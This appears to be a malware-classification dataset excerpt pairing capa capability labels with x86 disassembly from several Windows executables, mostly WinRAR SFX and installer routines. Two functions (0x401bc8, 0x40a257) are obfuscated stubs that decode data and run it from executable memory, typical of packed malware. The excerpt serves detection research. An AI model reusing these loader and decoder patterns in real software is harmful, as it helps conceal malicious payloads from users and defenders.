joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b755
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push ebx
xor ebx, ebx
cmp byte [0x420a10], bl
je 0x40b7d5
cmp word [0x41a0d8], bx
je 0x40b7d5
push esi
push 0x41a0d8
lea esi, [ebp - 0x808]
call fcn.0040b71a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop esi
test eax, eax
jne 0x40b7d5
push dword [ebp + 8]
call fcn.0040a2ce
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x808]
push 1
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x40b7da
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.00401200
cmp byte [0x420a10], 0
je 0x40b881
push esi
push dword [ebp + 8]
lea esi, [ebp - 0x100c]
call fcn.0040b71a
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop esi
test eax, eax
jne 0x40b881
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x80c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x100c]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40b878
shr dword [ebp - 4], 1
mov eax, 0x3ff
cmp dword [ebp - 4], eax
jae 0x40b85c
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x80c], cx
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 8]
call fcn.0040dc35
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8

Function at 0x40b9a9
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.USER32.dll_DialogBoxParamW]
cmp byte [0x4208e6], 0
mov eax, dword [ebp + 0xc]
mov dword [0x4208e8], eax
mov eax, dword [ebp + 0x10]
mov dword [0x4208ec], eax
mov eax, dword [ebp + 0x14]
mov dword [0x4208e0], eax
je 0x40b9d9
xor eax, eax
inc eax
jmp 0x40ba02
cmp byte [0x4208e7], 0
je 0x40b9e7
push 2
pop eax
jmp 0x40ba02
push dword [ebp + 8]
push 0x40ad62
push dword [0x420a00]
push str.REPLACEFILEDLG
push dword [0x414e74]
call esi
dec eax
je 0x40ba54
dec eax
je 0x40ba66
dec eax
je 0x40ba4d
dec eax
jne 0x40ba31
push dword [ebp + 8]
push 0x40b0ae
push dword [0x420a00]
push str.RENAMEDLG
push dword [0x414e74]
call esi
test eax, eax
je 0x40b9b3
mov al, 0x52
jmp 0x40ba61
dec eax
je 0x40ba42
dec eax
mov al, 0x4e
jne 0x40ba61
mov byte [0x4208e7], 1
jmp 0x40ba61
mov byte [0x4209f2], 1
mov al, 0x43
jmp 0x40ba61
mov byte [0x4208e6], 1
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov al, 0x59
pop esi
pop ebp
ret 0x10
mov al, 0x4e
jmp 0x40ba61
Function at 0x40d3cd
Capabilities:
Accept command line arguments
Read file via mapping
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 1
call fcn.0040e028
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov ecx, 0x4294c0
call fcn.0040e74e
mov esi, 0x5800
push esi
push ebx
mov edi, 0x41b0e0
push edi
call fcn.00409f4d
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x40d47b
push eax
call fcn.0040b2ef
cmp byte [0x420a11], bl
je 0x40d46d
push str.winrarsfxmappingfile.tmp
push ebx
push 4
call dword [sym.imp.KERNEL32.DLL_OpenFileMappingW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x40d462
push esi
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40d459
push esi
push eax
push edi
call fcn.00409f7a
push edi
push str.sfxcmd
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40d47b
push dword [ebp - 8]
push str.sfxcmd
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
push 0x400
mov esi, 0x41a8e0
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push esi
push str.sfxname
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableW]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov edi, eax
push 0x64
push edi
mov dword [0x414e74], edi
mov dword [0x414e78], edi
call dword [sym.imp.USER32.dll_LoadIconW]
push 0x65
push dword [0x414e78]
mov dword [0x41a8dc], eax
call dword [sym.imp.USER32.dll_LoadBitmapW]
lea ecx, [ebp - 0xc]
mov dword [0x41a8d8], eax
call fcn.00411856
push esi
mov ecx, 0x414e88
call fcn.004095a1
lea ecx, [ebp - 0x5c]
call fcn.00406407
lea ecx, [ebp - 0x34]
call fcn.00406407
push 0x64
call fcn.0040aa92
push 0x64
mov dword [ebp - 0x40], eax
call fcn.0040aa92
push ebx
push 0x40cb6b
mov dword [ebp - 0x18], eax
push ebx
lea eax, [ebp - 0x5c]
mov dword [0x41a0d4], eax
push str.STARTDLG
lea eax, [ebp - 0x34]
push edi
mov dword [0x41a0d0], eax
call dword [sym.imp.USER32.dll_DialogBoxParamW]
lea ecx, [ebp - 0x34]
mov dword [0x41a0d0], ebx
mov dword [0x41a0d4], ebx
call fcn.00406429
lea ecx, [ebp - 0x5c]
call fcn.00406429
lea ecx, [ebp - 0xc]
call fcn.004118b0
cmp byte [0x420a08], bl
je 0x40d55a
call fcn.0040b529
push 0x100
push ebx
push 0x4208f0
call fcn.00409f4d
cmp dword [0x421b24], ebx
jbe 0x40d57d
push dword [0x421b18]
call fcn.00409ec9
push dword [0x41a8dc]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
mov eax, dword [0x41a8d8]
cmp eax, ebx
je 0x40d597
push eax
call esi
cmp dword [0x414e7c], ebx
jne 0x40d5b6
cmp byte [0x4209f2], bl
je 0x40d5b6
push 0xff
mov ecx, 0x414e7c
call fcn.0040326b
mov eax, dword [0x421b30]
mov byte [0x4209f2], 1
cmp eax, ebx
je 0x40d5cc
push eax
call fcn.0040b4ea
call dword [sym.imp.ole32.dll_OleUninitialize]
mov eax, dword [0x421b2c]
cmp eax, ebx
ja 0x40d5e0
mov eax, dword [0x414e7c]
push eax
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x40d945
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x4116fb
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x412abc
push 1
xor ebx, ebx
push ebx
push 0x412b6c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4117cc
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x412b5c
push eax
call dword [ecx]
test eax, eax
jl 0x4117c3
cmp byte [ebp + 8], bl
je 0x41174e
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x41176b
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x41177d
push 0x41267c
jmp 0x411780
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x411795
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x4117a6
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x4117ba
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x4117e6
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x401bd7
pop dword [ebp - 0x2c]
mov eax, 0x401bd7
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3f657d81
sub dword [ebp - 0x3c], 0xf1133836
mov dword [ebp - 0x38], 0x9c82e2c5
sub dword [ebp - 0x38], 0x6a4f9680
mov dword [ebp - 0x34], 0xeb5035b2
add dword [ebp - 0x34], 0x60fc0e7c
mov dword [ebp - 0x30], 0xc03a808b
add dword [ebp - 0x30], 0x3fc57f75
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x71558f8e
add eax, 0x8eeae0d2
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x7bd64ec1
sub dword [ebp - 0x3c], 0x763e56b
mov dword [ebp - 0x38], 0x13d8b36b
add dword [ebp - 0x38], 0x2d93ae0a
mov dword [ebp - 0x34], 0xedc14edc
sub dword [ebp - 0x34], 0x8a51e270
mov dword [ebp - 0x30], 0x808adc02
sub dword [ebp - 0x30], 0x808adc02
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xc98a4662
add eax, 0x36b62a9e
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3888b
push 0
call eax
mov ecx, 0x36640266
add ecx, 0xc99c4d70
mov ebx, eax
mov edi, 0xb02b196c
sub edi, 0xafea196c
add edi, dword [ebp - 0x2c]
mov edx, 0xdaf53397
add dword [ebp - 0x10], 0x7a8f5d66
mov esi, dword [edi]
sub dword [ebp - 0xc], 0x5ce5cc6e
sub esi, edx
add dword [ebp - 8], edx
mov dword [ebx], esi
xor dword [ebp - 4], esi
add ebx, 4
add edi, 0x420d30df
add edi, 0xbdf2cf25
loop 0x401cee
add eax, 0x1322b
mov ebx, eax
add eax, 0x37ebe963
sub eax, 0x37ebe95e
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x403bde
Capabilities:
Copy file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 4
pop edi
mov esi, edx
mov dword [ebp - 0x120], ecx
push 0x180
push esi
call dword [sym.imp.msvcrt.dll__chmod]
pop ecx
pop ecx
push 0xa0
push esi
push esi
call dword [sym.imp.USER32.dll_OemToCharBuffA]
push 0x1001
lea eax, [ebp - 0x90]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_OpenFile]
push esi
mov ebx, eax
push esi
mov dword [ebp - 0x11c], ebx
call dword [sym.imp.USER32.dll_CharToOemA]
cmp ebx, 0xffffffff
je 0x403cba
mov esi, dword [ebp - 0x120]
lea eax, [ebp - 0x118]
push 0
push eax
push esi
call dword [sym.imp.LZ32.dll_LZOpenFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403c7a
push 3
pop edi
push esi
mov edx, 0xa0
mov ecx, 0x406c20
call fcn.00401590
test eax, eax
js 0x403ccc
jmp 0x403cae
call fcn.0040424e
push dword [ebp - 0x11c]
push ebx
call dword [sym.imp.LZ32.dll_LZCopy]
push ebx
mov esi, eax
call dword [sym.imp.LZ32.dll_LZClose]
cmp esi, 0xfffffff8
jb 0x403cab
cmp esi, 0xfffffffb
jne 0x403ca2
push 6
pop edi
cmp esi, 0xfffffffc
jne 0x403cae
push 7
jmp 0x403cad
push 0xd
pop edi
push dword [ebp - 0x11c]
call dword [sym.imp.KERNEL32.dll__lclose]
mov ecx, dword [ebp - 4]
mov ax, di
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bf0
leave
ret
call fcn.00402159
int3
Function at 0x403f5c
Capabilities:
Read .ini file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
push ebx
push 2
mov dword [ebp - 0x90], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x40672c], eax
test eax, eax
je 0x40402c
push eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov edi, eax
test edi, edi
je 0x40402c
push esi
push ebx
push edi
push 0x401140
push 0
push dword [0x40671c]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [0x40672c]
mov esi, eax
test esi, esi
jne 0x403fe2
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push dword [0x40672c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x40672c], eax
push 5
jmp 0x40402e
mov word [esi + edi], 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push 2
lea eax, [esi + 2]
push eax
push dword [0x40672c]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
test eax, eax
je 0x40402c
push ebx
push 2
mov dword [0x40672c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4063f0], eax
push dword [0x40672c]
test eax, eax
jne 0x40403e
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x40672c], eax
push 6
mov ecx, dword [ebp - 4]
pop eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bf0
leave
ret
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov edi, eax
test edi, edi
je 0x40402c
push dword [0x4063f0]
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [ebp - 0x8c], eax
mov esi, eax
test eax, eax
jne 0x4040df
push dword [0x4063f0]
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
jmp 0x40402c
push dword [ebp - 0x90]
lea eax, [ebp - 0x84]
push 0x80
push eax
push 0x401140
push edi
push dword [0x40671c]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x40413b
lea eax, [ebp - 0x84]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
mov edx, ebx
lea eax, [ebp - 0x84]
sub edx, esi
mov ecx, esi
add edx, dword [ebp - 0x8c]
push eax
call fcn.00401590
test eax, eax
js 0x40415d
mov eax, dword [ebp - 0x88]
mov edx, ebx
inc eax
mov ecx, esi
add edi, eax
call fcn.00402125
inc eax
add esi, eax
mov edx, ebx
mov ecx, edi
call fcn.00402125
mov dword [ebp - 0x88], eax
test eax, eax
jne 0x404070
push dword [0x40672c]
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push dword [0x4063f0]
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
sub esi, dword [ebp - 0x8c]
push 2
inc esi
push esi
push dword [0x4063f0]
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
test eax, eax
je 0x40402c
mov dword [0x4063f0], eax
push 0xd
jmp 0x40402e
push dword [0x40672c]
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push dword [0x4063f0]
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
call fcn.00404163
jmp 0x403fde
call fcn.00402159
int3
Function at 0x4042fd
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x110], 0x104
push eax
push 0x20019
xor ebx, ebx
mov esi, 0x401288
push ebx
push esi
mov edi, 0x80000000
mov byte [ebp - 0x108], bl
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404380
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
je 0x4043a0
push ecx
push ebx
push ebx
push 0x10
xor edx, edx
push 0xc
inc edx
pop ecx
call fcn.00402212
xor eax, eax
cmp dword [0x406724], ebx
je 0x404391
mov dword [0x406080], ebx
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bf0
leave
ret
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.msvcrt.dll_atoi]
pop ecx
mov dword [0x406080], eax
call fcn.00404402
xor eax, eax
jmp 0x404390

Function at 0x404402
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, 0x401288
xor ebx, ebx
push edi
mov edx, 0xa0
mov dword [ebp - 0x210], ebx
mov ecx, esi
call fcn.00402125
mov edi, 0x104
cmp eax, edi
jge 0x404518
push esi
mov edx, edi
lea ecx, [ebp - 0x108]
call fcn.00401590
test eax, eax
js 0x404527
lea eax, [ebp - 0x108]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edx, edi
lea ecx, [ebp - 0x108]
call fcn.00402125
lea esi, [ebp - 0x108]
add esi, eax
jmp 0x404485
cmp byte [esi], 0x5c
je 0x404494
dec esi
lea eax, [ebp - 0x108]
cmp esi, eax
ja 0x40447f
cmp byte [esi], 0x5c
jne 0x404504
lea eax, [ebp - 0x210]
mov byte [esi], bl
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404504
push edi
lea eax, [ebp - 0x20c]
push eax
push ebx
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x404504
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
mov dword [ebp - 0x210], ebx
push eax
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea eax, [ebp - 0x108]
cmp esi, eax
ja 0x404468
cmp dword [ebp - 0x210], ebx
je 0x404518
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404bf0
leave
ret
call fcn.00402159
int3
Function at 0x404814
Capabilities:
Delete file
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x406028]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x104]
xor ecx, ecx
mov edi, 0x100
push ecx
push ecx
push edi
push eax
push ecx
push ecx
push ecx
push ecx
push esi
call dword [sym.imp.msvcrt.dll__splitpath_s]
add esp, 0x24
cmp byte [ebp - 0x104], 0
jne 0x40486d
push ecx
push 0x4012c4
push ecx
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.00401691
test eax, eax
js 0x4048ac
push 0x4012c8
mov edx, edi
lea ecx, [ebp - 0x104]
call fcn.004015c3
test eax, eax
js 0x4048ac
lea eax, [ebp - 0x104]
push eax
push esi
call dword [sym.imp.msvcrt.dll_rename]
push esi
call dword [sym.imp.msvcrt.dll_remove]
mov ecx, dword [ebp - 4]
add esp, 0xc
xor eax, eax
xor ecx, ebp
inc eax
pop edi
pop esi
call fcn.00404bf0
leave
ret
call fcn.00402159
int3
Function at 0x404970
Capabilities:
Terminate process

Disassembly:
call fcn.00404fb5
jmp 0x40497a
push 0x58
push 0x405110
call fcn.00405068
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x40673c
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4049cc
cmp eax, esi
jne 0x4049bf
xor esi, esi
inc esi
mov edi, esi
jmp 0x4049cf
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4049a3
xor esi, esi
inc esi
cmp dword [0x406740], esi
jne 0x4049e1
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x404a1b
cmp dword [0x406740], ebx
jne 0x404a15
mov dword [0x406740], esi
push 0x4010ec
push 0x4010e0
call fcn.00404b59
pop ecx
pop ecx
test eax, eax
je 0x404a1b
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x404b49
mov dword [0x4060a4], esi
cmp dword [0x406740], esi
jne 0x404a3e
push 0x4010dc
push 0x4010d4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x406740], 2
test edi, edi
jne 0x404a4b
xor eax, eax
mov ecx, 0x40673c
xchg dword [ecx], eax
cmp dword [0x406744], 0
je 0x404a77
push 0x406744
call fcn.00404ec0
pop ecx
test eax, eax
je 0x404a77
push ebx
push 2
push ebx
mov esi, dword [0x406744]
mov ecx, esi
call dword [0x407224]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x404ad5
test cl, cl
je 0x404aa4
test edi, edi
jne 0x404ad5
test cl, cl
je 0x404aa4
cmp cl, 0x20
ja 0x404aa4
inc esi
mov dword [ebp - 0x1c], esi
mov cl, byte [esi]
jmp 0x404a93
test byte [ebp - 0x3c], 1
je 0x404ab0
movzx eax, word [ebp - 0x38]
jmp 0x404ab3
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x4060a0], eax
cmp dword [0x4060b8], 0
jne 0x404b2e
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x404ae6
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x404af9
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x404a84
cmp dword [0x4060a4], 0
jne 0x404b42
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x4060a0]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404da4
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x405130
call fcn.00405068
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x404e04
cmp eax, 0xffffffff
je 0x404e04
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x404dfd
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x404dfd
cmp edx, 0x10000000
jae 0x404dfd
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x404dfa
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404e70
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x404eae
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x404ea6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x404eb0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x404e96
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404f80
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x404fb1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x404fb1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x404fb1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40a257
Capabilities:
Encode data using xor

Disassembly:
call 0x40a1d0
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x40a200
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x40a21c
xor edx, 0
jmp 0x40a227
xor edx, edx
jmp 0x40a23e
jmp 0x40a24a
xor eax, eax
push 0x8427d7c0
call 0x40a257
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x40a293
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x40a26c
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x40a2aa
add eax, 0
jno 0x40a2af
add esi, 0
ret 0x10